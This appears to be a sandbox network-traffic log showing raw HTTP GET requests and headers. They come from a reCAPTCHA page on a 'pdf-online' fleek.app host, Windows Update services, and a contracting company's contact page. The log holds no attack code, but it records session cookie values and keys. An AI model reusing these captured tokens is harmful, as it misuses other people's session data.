Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/anchor?ar=1&k=6LdIzuYpAAAAAHT5nKyqfZa1ITwX_EWoYwnF-Nhd&co=aHR0cHM6Ly9wZGYtb25saW5lLm9uLWZsZWVrLmFwcDo0NDM.&hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&size=normal&cb=lw8g0bn9ca2d HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://pdf-online.on-fleek.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=d3K15243hDxEmop&MD=Yz1dXwpp HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/webworker.js?hl=en&v=xds0rzGrktR88uEZ2JUvdgOY HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdIzuYpAAAAAHT5nKyqfZa1ITwX_EWoYwnF-Nhd&co=aHR0cHM6Ly9wZGYtb25saW5lLm9uLWZsZWVrLmFwcDo0NDM.&hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&size=normal&cb=lw8g0bn9ca2dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/bg/zEg4NaMiOUeKKZ2pqXY4HMvMf5VCq4avNU_6WgNs2Cw.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdIzuYpAAAAAHT5nKyqfZa1ITwX_EWoYwnF-Nhd&co=aHR0cHM6Ly9wZGYtb25saW5lLm9uLWZsZWVrLmFwcDo0NDM.&hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&size=normal&cb=lw8g0bn9ca2dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pdf-online.on-fleek.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pdf-online.on-fleek.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/webworker.js?hl=en&v=xds0rzGrktR88uEZ2JUvdgOY HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/bg/zEg4NaMiOUeKKZ2pqXY4HMvMf5VCq4avNU_6WgNs2Cw.js HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/bframe?hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&k=6LdIzuYpAAAAAHT5nKyqfZa1ITwX_EWoYwnF-Nhd HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://pdf-online.on-fleek.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/reload?k=6LdIzuYpAAAAAHT5nKyqfZa1ITwX_EWoYwnF-Nhd HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AGteOyqMV3Be0uZmmDT5kMIC82z5hEj4NJ4LoRFWdAcp7XGN27cw8Qqkir_KSBtQmoc7xmYi1I_AakP1-FtY5aU
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA6Tobub5P_1DSWkbyoqwTIdoYcHxHc3hU1RgDt9zmlJhA26OfMLmlBm2Bpo0Z1vb1zRt7gVcjl49Xc_8r1BmnMuhM2CvUmuS9DrPdBSuK5ed67e-F4_taLBnN48LcLXZHIb8mDXDHohSf2jtymIQBdc6XNv0be-uqWei-icZ-GS3nlXuLf5Y12YlYL5bL9j2WKLc2wi&k=6LdIzuYpAAAAAHT5nKyqfZa1ITwX_EWoYwnF-Nhd HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&k=6LdIzuYpAAAAAHT5nKyqfZa1ITwX_EWoYwnF-NhdAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AGteOyqMV3Be0uZmmDT5kMIC82z5hEj4NJ4LoRFWdAcp7XGN27cw8Qqkir_KSBtQmoc7xmYi1I_AakP1-FtY5aU
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA6Tobub5P_1DSWkbyoqwTIdoYcHxHc3hU1RgDt9zmlJhA26OfMLmlBm2Bpo0Z1vb1zRt7gVcjl49Xc_8r1BmnMuhM2CvUmuS9DrPdBSuK5ed67e-F4_taLBnN48LcLXZHIb8mDXDHohSf2jtymIQBdc6XNv0be-uqWei-icZ-GS3nlXuLf5Y12YlYL5bL9j2WKLc2wi&k=6LdIzuYpAAAAAHT5nKyqfZa1ITwX_EWoYwnF-Nhd HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AGteOyqMV3Be0uZmmDT5kMIC82z5hEj4NJ4LoRFWdAcp7XGN27cw8Qqkir_KSBtQmoc7xmYi1I_AakP1-FtY5aU
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=d3K15243hDxEmop&MD=Yz1dXwpp HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /contact HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /css/reset.css HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.citydiamondcontracting.com/contactAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /css/plugins.css HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.citydiamondcontracting.com/contactAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /css/bootstrap.min.css HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.citydiamondcontracting.com/contactAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /css/style.css HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.citydiamondcontracting.com/contactAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /css/yourstyle.css HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.citydiamondcontracting.com/contactAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.2.1/css/all.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.citydiamondcontracting.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/logo1.png HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/contactAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /js/jquery.min.js HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.citydiamondcontracting.com/contactAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /js/plugins.js HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.citydiamondcontracting.com/contactAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /js/scripts.js HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.citydiamondcontracting.com/contactAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /js/bootstrap.bundle.min.js HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.citydiamondcontracting.com/contactAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /images/rlod.png HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/contactAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /images/logo1.png HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /js/jquery.min.js HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /js/scripts.js HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /js/plugins.js HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /fonts/sora/Sora-Bold.woff2 HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.citydiamondcontracting.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.citydiamondcontracting.com/css/yourstyle.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.2.1/webfonts/fa-solid-900.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.citydiamondcontracting.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.2.1/css/all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.2.1/webfonts/fa-brands-400.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.citydiamondcontracting.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.2.1/css/all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fonts/sora/Sora-Medium.woff2 HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.citydiamondcontracting.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.citydiamondcontracting.com/css/yourstyle.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/dynamic/11/a8f19a8ddc204498fd4867850bfee67c.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/contactAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /images/captcha.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/contactAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /maps/embed?pb=!1m14!1m8!1m3!1d7220.8946438946405!2d55.258405!3d25.188133!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x0%3A0x50df22dfd0d09b8f!2sCity%20Diamond%20Contracting%20LLC!5e0!3m2!1sen!2sus!4v1663058383351!5m2!1sen!2sus HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.citydiamondcontracting.com/contactAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
